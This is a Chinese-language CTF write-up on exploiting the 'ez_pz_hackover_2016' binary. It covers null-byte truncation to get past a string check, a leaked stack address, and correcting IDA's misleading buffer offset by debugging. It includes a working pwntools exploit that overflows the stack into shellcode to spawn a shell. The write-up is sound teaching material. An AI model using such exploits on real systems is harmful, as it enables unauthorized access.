write up --ez_pz_hackover_2016
本题也是选出的比较有意思的一题,它涉及的知识点不难,但是有一些细节需要去注意。
分析
可以看到该程序是存在可读可写可执行段的,那么该题的考点大概率就是写入shellcode,我们还需要看看该程序具体的代码逻辑。
第一行是关闭缓冲区的,这个做题本身关系不大,header()函数的作用是打印该程序的图标,所以具体的代码逻辑基本都在chall()函数里,那我们来看具体的chall()函数。
chall()函数的具体逻辑其实也不多,也挺好分析的,但是分析到这里的时候,我依然没有发现漏洞点在哪里。
当我们的输入为crashme的时候,才能进行接下来的操作,假设判断成功,执行接下来的操作,我们来继续看看vuln的逻辑。
在这里发现了漏洞点,也就是这里的字符串复制函数,向dest中复制n个字节的src,但是我们必须输入crashme才能执行这个操作,如果只输入crashme,那我们怎么写入shellcode,又怎么执行呢?
这里就涉及到字符截断的操作,\x00即字符串的结束符,我们可以输入crashme\x00+要写入的内容即可绕过判断,那么我们能写入dest,但是要怎么执行呢?毕竟dest是栈上的数据,就算不开额外的保护措ASLR也会使我们无法找到我们写入的地址,找不到该地址就没法执行写入的shellcode。
其实程序已经给了我们后路,但是我刚开始没注意到
在chall()函数的开始就有这么一段代码,打印出了我们输入的地址,所以现在我们只需要计算出shellcode与我们输入的起始位置的偏移,即可得到shellcode的地址,然后我们再利用栈溢出漏洞执行即可获得shell。
这里的为了计算出偏移,我们需要编写脚本然后进行动态调试。
也就是这里我遇到了一点问题
可以看到在ida里显示的dest距离ebp的距离为32个字节,我刚开始写脚本的时候直接用32+4进行填充的,但是发现并不对。
最后动态调试也找到了原因,因为dest到ebp的实际距离根本不是32个字节。
实际上我们的输入距离ebp只有22字节的距离,加上4字节应该填充26个字节的数据到达ret。
脚本
from pwn import *
context(log_level = 'debug',os='linux',arch='i386')
p = process('./ez_pz_hackover_2016')
#p = remote('node3.buuoj.cn', 29530)
gdb.attach(p)
p.recvuntil('crash: ')
stack_addr = int(p.recv(10), 16)
payload = 'crashme\x00' + 'a'*18
payload += p32(0) + asm(shellcraft.sh())
p.recvuntil('> ')
p.sendline(payload)
pause()
p.interactive()
可以看到s的首部位置为0xffe60d7c,而shellcode所在的位置为0xffe60d60,既然知道了地址,那么我们就可以计算出s到shellcode的偏移量为28,也就是我们接收到的s的地址减去28个字节。
既然已经知道具体该填充多少的数据,也知道shellcode的相对地址,那么我们就可以编写exp了。
exp
from pwn import *
io=process("./ez_pz_hackover_2016")
#context(log_level="debug",os='linux',arch='i386')
io.recvuntil("crash: ")
s_addr=int(io.recv(10),16)
shellcode=asm(shellcraft.sh())
payload=b"crashme\x00"+b"a"*18+p32(s_addr-0x1c)+shellcode
io.sendline(payload)
io.interactive()
注意事项
这一题主要值的注意的就是s到ebp的距离,ida毕竟是静态分析工具所以不可能确保一定对,所以动态调试技术也是我们必须要掌握的技能。